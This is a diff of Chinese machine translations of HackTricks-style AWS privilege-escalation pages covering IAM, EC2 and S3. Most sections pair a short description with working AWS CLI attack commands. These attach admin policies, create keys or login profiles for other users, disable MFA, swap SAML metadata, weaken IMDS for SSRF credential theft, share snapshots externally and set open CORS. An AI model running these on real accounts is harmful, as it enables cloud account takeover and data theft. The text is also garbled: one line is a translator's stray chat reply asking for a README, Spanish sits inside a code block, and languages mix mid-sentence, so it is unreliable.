+在上述命令中，尽管我们指定了某些模式（`aws_|password|token|api`），你可以使用不同的正则表达式来搜索其他类型的敏感信息。

-假设我们找到了 `aws_access_key_id` 和 `aws_secret_access_key`，我们可以使用这些凭证来认证到 AWS。
+假设我们找到了 `aws_access_key_id` 和 `aws_secret_access_key`，我们可以使用这些凭证来对 AWS 进行身份验证。

-**潜在影响：** 直接对 IAM 用户的提权。
+**潜在影响：** 直接对 IAM 用户进行权限提升。

-## 参考资料
+## 参考

 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)

-
-
-
-
-
 ### `ec2:ModifyInstanceMetadataOptions` (IMDS 降级以启用 SSRF 凭证窃取)

-攻击者如果能够对受害者的 EC2 实例调用 `ec2:ModifyInstanceMetadataOptions`，可以通过启用 IMDSv1（`HttpTokens=optional`）并增加 `HttpPutResponseHopLimit` 来削弱 IMDS 的防护。这样运行在实例上的应用常见的 SSRF/代理路径就能访问实例元数据端点。如果攻击者能在此类应用中触发 SSRF，就能检索到实例配置文件凭证并利用它们进行横向移动。
+攻击者如果能够在受害者的 EC2 实例上调用 `ec2:ModifyInstanceMetadataOptions`，可以通过启用 IMDSv1（`HttpTokens=optional`）并增加 `HttpPutResponseHopLimit` 来削弱 IMDS 的防护。这样，实例元数据端点就可以通过运行在实例上的应用程序常见的 SSRF/代理路径访问。如果攻击者能在此类应用中触发 SSRF，就能检索 instance profile 凭证并用其进行横向移动。

- 所需权限：在目标实例上拥有 `ec2:ModifyInstanceMetadataOptions`（以及能够到达/触发宿主上的 SSRF）。
+- 所需权限：在目标实例上有 `ec2:ModifyInstanceMetadataOptions`（以及能够在主机上到达/触发 SSRF 的能力）。
 - 目标资源：附有 instance profile（IAM role）的运行中 EC2 实例。

-示例命令：
+命令示例：
 ```bash
 # 1) Check current metadata settings
 aws ec2 describe-instances --instance-id <INSTANCE_ID> \
@@ -297,5 +293,28 @@ aws sts get-caller-identity
 aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
 --http-tokens required --http-put-response-hop-limit 1
 ```
-潜在影响：通过 SSRF 窃取 instance profile credentials，导致利用 EC2 role permissions 实现权限提升和横向移动。
+潜在影响：通过 SSRF 窃取实例配置文件凭证，从而利用 EC2 角色权限实现权限提升和横向移动。
+
+### `ec2:ModifyInstanceMetadataOptions`
+
+拥有 `ec2:ModifyInstanceMetadataOptions` 权限的攻击者可以削弱 Instance Metadata Service (IMDS) 的保护 — 例如强制使用 `IMDSv1`（使 `HttpTokens` 不再必需）或增加 `HttpPutResponseHopLimit` — 从而便于外泄临时凭证。最相关的风险向量是提高 `HttpPutResponseHopLimit`：通过增加该 hop 限制（TTL），`169.254.169.254` 端点不再严格限制在 VM 的网络命名空间内，并可能被其他进程/容器访问，从而导致凭证被窃取。
+```bash
+aws ec2 modify-instance-metadata-options \
+--instance-id <INSTANCE_ID> \
+--http-tokens optional \
+--http-endpoint enabled \
+--http-put-response-hop-limit 2
+```
+### `ec2:ModifyImageAttribute`, `ec2:ModifySnapshotAttribute`
+
+拥有 ec2:ModifyImageAttribute 和 ec2:ModifySnapshotAttribute 权限的攻击者可以将 AMIs 或 snapshots 与其他 AWS 账户共享（甚至将其设为公开），从而暴露可能包含敏感数据的镜像或卷，例如配置、凭证、证书或备份。通过修改 AMI 的 launch permissions 或 snapshot 的 create-volume permissions，攻击者允许第三方从这些资源启动 instances 或挂载磁盘并访问其内容。
+
+要将 AMI 与另一个账户共享：
+```bash
+aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
+```
+要与另一个账户共享 EBS 快照：
+```bash
+aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
+```
 {{#include ../../../../banners/hacktricks-training.md}}
@@ -12,34 +12,34 @@

 ### **`iam:CreatePolicyVersion`**

-授予创建新的 IAM 策略版本的能力；通过使用 `--set-as-default` 标志可以绕过对 `iam:SetDefaultPolicyVersion` 权限的需求。这样可以定义自定义权限。
+授予创建新的 IAM 策略版本的能力，通过使用 `--set-as-default` 标志可绕过对 `iam:SetDefaultPolicyVersion` 权限的需求。这允许定义自定义权限。

-**Exploit Command:**
+**利用命令：**
 ```bash
 aws iam create-policy-version --policy-arn <target_policy_arn> \
 --policy-document file:///path/to/administrator/policy.json --set-as-default
 ```
-**影响:** 直接提升权限，允许对任何资源执行任何操作。
+**影响：** 直接提升权限，允许对任何资源执行任何操作。

 ### **`iam:SetDefaultPolicyVersion`**

-允许将 IAM 策略的默认版本更改为另一个已存在的版本，如果新版本拥有更多权限，可能会提升权限。
+允许将 IAM 策略的默认版本更改为另一个已存在的版本，如果新版本具有更多权限，可能会导致权限提升。

-**Bash 命令:**
+**Bash Command:**
 ```bash
 aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
 ```
-**Impact:** 间接权限提升，通过授予更多权限实现。
+**Impact:** 通过授予更多权限间接导致 privilege escalation.

 ### **`iam:CreateAccessKey`**

-允许为其他用户创建 access key ID 和 secret access key，可能导致权限提升。
+允许为其他用户创建 access key ID 和 secret access key，从而可能导致 privilege escalation.

 **Exploit:**
 ```bash
 aws iam create-access-key --user-name <target_user>
 ```
-**影响：** 通过假设另一个用户的扩展权限实现直接 privilege escalation。
+**影响:** 通过假定另一个用户的扩展权限实现直接 privilege escalation。

 ### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**

@@ -55,55 +55,55 @@ aws iam create-login-profile --user-name target_user --no-password-reset-require
 aws iam update-login-profile --user-name target_user --no-password-reset-required \
 --password '<password>'
 ```
-**影响：** Direct privilege escalation（通过以“任意”用户登录）。
+**Impact:** 通过以 "any" 用户登录直接进行特权升级。

 ### **`iam:UpdateAccessKey`**

-允许启用已禁用的访问密钥，如果攻击者持有该已禁用的密钥，可能导致未经授权的访问。
+允许启用已禁用的访问密钥，如果攻击者持有该已禁用密钥，可能导致未授权访问。

 **Exploit:**
 ```bash
 aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
 ```
-**影响：** Direct privilege escalation by reactivating access keys.
+**影响：** 通过重新激活 access keys，直接造成 privilege escalation。

 ### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**

-允许为特定 AWS 服务（例如 CodeCommit、Amazon Keyspaces）生成或重置 credentials，并继承关联用户的 permissions。
+允许为特定 AWS 服务（例如 CodeCommit、Amazon Keyspaces）生成或重置凭证，并继承关联用户的权限。

 **Exploit for Creation:**
 ```bash
 aws iam create-service-specific-credential --user-name <username> --service-name <service>
 ```
-**用于重置的 Exploit：**
+**Exploit 用于 Reset:**
 ```bash
 aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
 ```
-**Impact:** 在用户的服务权限范围内直接提升权限。
+**Impact:** 直接在用户的服务权限范围内进行权限提升。

 ### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**

-允许将策略附加到用户或组，通过继承所附策略的权限直接提升权限。
+允许将策略附加到用户或组，从而通过继承所附策略的权限直接提升权限。

-**Exploit 针对用户：**
+**针对用户的利用：**
 ```bash
 aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
 ```
-**Exploit 用于组：**
+**Group 的 Exploit:**
 ```bash
 aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
 ```
-**影响：** 对策略授予的任何内容进行直接权限提升。
+**影响：** 直接 privilege escalation 到策略授予的任何权限。

 ### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**

-允许将策略附加或添加到角色、用户或组，从而通过授予额外权限实现直接权限提升。
+允许将策略附加或放置到角色、用户或组上，从而通过授予额外权限实现直接 privilege escalation。

-**针对角色的利用：**
+**Exploit for Role:**
 ```bash
 aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
 ```
-**针对 Inline Policies 的 Exploit：**
+**Exploit：针对内联策略**
 ```bash
 aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
 --policy-document "file:///path/to/policy.json"
@@ -114,7 +114,7 @@ aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>"
 aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
 --policy-document file:///path/to/policy.json
 ```
-你可以使用如下策略：
+我需要该 README.md 的内容才能翻译。请把文件内容或需翻译的片段粘贴到这里。注意：我会保留所有 markdown/html 标签、links、paths、不翻译 code、技术名、云平台名等。
 ```json
 {
 "Version": "2012-10-17",
@@ -137,18 +137,18 @@ aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
 ```bash
 aws iam add-user-to-group --group-name <group_name> --user-name <username>
 ```
-**影响：** 直接将特权提升到该组的权限级别。
+**影响：** 直接将权限提升到该组的权限级别。

 ### **`iam:UpdateAssumeRolePolicy`**

-允许修改角色的信任策略文档（assume role policy document），使得可以假设该角色并获得其关联权限。
+允许修改角色的 AssumeRole 策略文档（信任策略），从而使得可以假设该角色并获得其关联权限。

 **利用：**
 ```bash
 aws iam update-assume-role-policy --role-name <role_name> \
 --policy-document file:///path/to/assume/role/policy.json
 ```
-当策略如下所示时，它授予该用户假设该角色的权限：
+当策略如下所示时，它授予用户假设该角色的权限：
 ```json
 {
 "Version": "2012-10-17",
@@ -163,7 +163,7 @@ aws iam update-assume-role-policy --role-name <role_name> \
 ]
 }
 ```
-**影响:** 通过假定任何角色的权限实现直接权限提升。
+**Impact:** 通过假定任意角色的权限实现直接权限提升。

 ### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**

@@ -173,17 +173,17 @@ aws iam update-assume-role-policy --role-name <role_name> \
 ```bash
 aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
 ```
-**Exploit 用于 MFA 停用:**
+**Exploit（用于 MFA 停用）：**
 ```bash
 aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
 ```
-**影响:** 间接提权，可能通过启用 CodeCommit 访问或禁用 MFA 保护实现。
+**影响：** 通过启用 CodeCommit 访问或禁用 MFA 保护，间接提升权限。

 ### **`iam:ResyncMFADevice`**

-允许重新同步 MFA 设备，可能通过操纵 MFA 保护导致间接提权。
+允许重新同步 MFA 设备，可能通过操纵 MFA 保护导致间接权限提升。

-**Bash Command:**
+**Bash 命令：**
 ```bash
 aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
 --authentication-code1 <code1> --authentication-code2 <code2>
@@ -192,9 +192,9 @@ aws iam resync-mfa-device --user-name <username> --serial-number <serial_number>

 ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)

-拥有这些权限你可以**更改 SAML 连接的 XML 元数据**。然后，你可以滥用**SAML federation**来**使用任何信任它的角色登录**。
+有了这些权限，你可以**更改 SAML 连接的 XML 元数据**。然后，你可以滥用**SAML 联合**来**使用任何信任该联合的角色登录**。

-注意，这样做会导致**合法用户无法登录**。不过，你可以获取到 XML，把你的放上去，登录后再把之前的配置改回去
+注意，执行此操作后**合法用户将无法登录**。不过，你可以获取 XML，把你的放进去，登录，然后把之前的配置恢复回去。
 ```bash
 # List SAMLs
 aws iam list-saml-providers
@@ -211,11 +211,11 @@ aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-ar
 aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
 ```
 > [!NOTE]
-> TODO: 一个能够生成 SAML 元数据并以指定角色登录的工具
+> TODO: 一个能够生成 SAML metadata 并以指定 role 登录的工具

 ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)

-(不确定) 如果攻击者拥有这些 **权限**，他可以添加一个新的 **Thumbprint**，从而登录所有信任该提供者的角色。
+(不确定) 如果攻击者拥有这些 **权限**，他可能添加一个新的 **Thumbprint**，从而能够登录所有信任该 provider 的 roles。
 ```bash
 # List providers
 aws iam list-open-id-connect-providers
@@ -226,8 +226,35 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
 ```
 ### `iam:PutUserPermissionsBoundary`

-该权限允许攻击者更新用户的 permissions boundary，可能提升他们的权限，使其能够执行通常受其现有权限限制的操作。
+此权限允许攻击者更新用户的权限边界，可能通过允许其执行通常受其现有权限限制的操作来提升其权限。
+```bash
+aws iam put-user-permissions-boundary \
+--user-name <nombre_usuario> \
+--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>

+Un ejemplo de una política que no aplica ninguna restricción es:
+
+
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "BoundaryAllowAll",
+"Effect": "Allow",
+"Action": "*",
+"Resource": "*"
+}
+]
+}
+```
+### `iam:PutRolePermissionsBoundary`
+
+拥有 `iam:PutRolePermissionsBoundary` 权限的主体可以在现有角色上设置权限边界。风险在于，当具备此权限的人更改角色的边界时：他们可能会不当地限制操作（导致服务中断），或者如果附加了一个宽松的边界，则会有效地扩大该角色的能力并导致权限提升。
+```bash
+aws iam put-role-permissions-boundary \
+--role-name <Role_Name> \
+--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
+```
 ## 参考资料

 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
@@ -6,9 +6,9 @@

 ### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject`

-攻击者如果在有价值的存储桶上拥有这些权限，可能能够劫持资源并提升权限。
+拥有这些权限的攻击者在感兴趣的存储桶上可能能够劫持资源并提升权限。

-例如，攻击者如果对名为 "cf-templates-nohnwfax6a6i-us-east-1" 的 **cloudformation bucket** 拥有这些权限，就能够劫持部署。可以通过下面的策略授予该访问权限：
+例如，拥有对名为 "cf-templates-nohnwfax6a6i-us-east-1" 的 **cloudformation bucket 的这些权限** 的攻击者将能够劫持部署。可以通过以下策略授予该访问：
 ```json
 {
 "Version": "2012-10-17",
@@ -34,21 +34,21 @@
 ]
 }
 ```
-And the hijack is possible because there is a **从模板被上传到 bucket 的瞬间起的很短时间窗口** to the bucket to the moment the **模板被部署**. An attacker might just create a **lambda function** in his account that will **发送 bucket 通知时触发** , and **hijacks** the **内容** of that **bucket**.
+And the hijack is possible because there is a **small time window from the moment the template is uploaded** to the bucket to the moment the **template is deployed**. An attacker might just create a **lambda function** in his account that will **trigger when a bucket notification is sent**, and **hijacks** the **content** of that **bucket**.

 ![](<../../../images/image (174).png>)

 The Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) can be used to automate this attack.\
-For 更多信息请查看原始研究: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
+For mor informatino check the original research: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)

 ### `s3:PutObject`, `s3:GetObject` <a href="#s3putobject-s3getobject" id="s3putobject-s3getobject"></a>

-These are the permissions to **获取并上传对象到 S3**. Several services inside AWS (and outside of it) use S3 storage to store **配置文件**.\
-An attacker with **读取权限** to them might find **敏感信息** on them.\
-An attacker with **写入权限** to them could **modify the data to abuse some service and try to escalate privileges**.\
-These are some examples:
+这些是用于**从 S3 获取和上传对象**的权限。AWS（以及外部服务）中的若干服务使用 S3 存储来保存 **配置文件**。\
+拥有 **read access** 的攻击者可能会在其中发现 **敏感信息**。\
+拥有 **write access** 的攻击者可以**修改数据以滥用某些服务并尝试 escalate privileges**。\
+以下是一些示例：

- If an EC2 instance is storing the **user data in a S3 bucket**, an attacker could modify it to **execute arbitrary code inside the EC2 instance**.
+- 如果某个 EC2 实例将 **user data 存放在 S3 bucket** 中，攻击者可以修改它以 **execute arbitrary code inside the EC2 instance**。

 ### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file

@@ -65,7 +65,7 @@ Follow the description in the *Abusing Terraform State Files* section of the *Te

 ### `s3:PutBucketPolicy`

-An attacker, that needs to be **from the same account**, if not the error `The specified method is not allowed will trigger`, with this permission will be able to grant himself more permissions over the bucket(s) allowing him to read, write, modify, delete and expose buckets.
+攻击者需要**来自同一账号**，否则会触发错误 `The specified method is not allowed`，拥有此权限的攻击者可以为自己授予对该 bucket(s) 的更多权限，从而读取、写入、修改、删除并暴露这些 bucket。
 ```bash
 # Update Bucket policy
 aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>
@@ -123,8 +123,8 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-n
 ```
 ### `s3:GetBucketAcl`, `s3:PutBucketAcl`

-攻击者可以滥用这些权限，**授予自己对特定存储桶的更多访问权限**。\
-请注意，攻击者不需要来自同一账户。此外，写入权限
+攻击者可以滥用这些权限来**授予他对特定存储桶的更多访问权限**。\
+注意，攻击者不需要来自同一账户。此外，写权限
 ```bash
 # Update bucket ACL
 aws s3api get-bucket-acl --bucket <bucket-name>
@@ -151,7 +151,7 @@ aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://a
 ```
 ### `s3:GetObjectAcl`, `s3:PutObjectAcl`

-攻击者可以滥用这些权限，对 buckets 中的特定 objects 授予更多访问权限。
+攻击者可以滥用这些权限，授予自己对桶内特定对象的更高访问权限。
 ```bash
 # Update bucket object ACL
 aws s3api get-object-acl --bucket <bucekt-name> --key flag
@@ -178,9 +178,29 @@ aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-poli
 ```
 ### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl`

-拥有这些权限的攻击者应该能够为特定对象版本设置 Acl。
+攻击者拥有这些权限后，应该能够将 Acl 应用到特定的对象版本上。
 ```bash
 aws s3api get-object-acl --bucket <bucekt-name> --key flag
 aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
 ```
+### `s3:PutBucketCORS`
+
+拥有 s3:PutBucketCORS 权限的攻击者可以修改 bucket 的 CORS（跨源资源共享，Cross-Origin Resource Sharing）配置，该配置控制哪些网站域名可以访问其端点。如果他们设置了宽松的策略，任意网站都可以从浏览器直接向该 bucket 发起请求并读取响应。
+
+这意味着，如果托管在该 bucket 的 web 应用的已认证用户访问了攻击者的网站，攻击者可能会利用宽松的 CORS 策略，视应用而定访问该用户的个人资料数据，甚至劫持用户账户。
+```bash
+aws s3api put-bucket-cors \
+--bucket <BUCKET_NAME> \
+--cors-configuration '{
+"CORSRules": [
+{
+"AllowedOrigins": ["*"],
+"AllowedMethods": ["GET", "PUT", "POST"],
+"AllowedHeaders": ["*"],
+"ExposeHeaders": ["x-amz-request-id"],
+"MaxAgeSeconds": 3000
+}
+]
+}'
+```
 {{#include ../../../../banners/hacktricks-training.md}}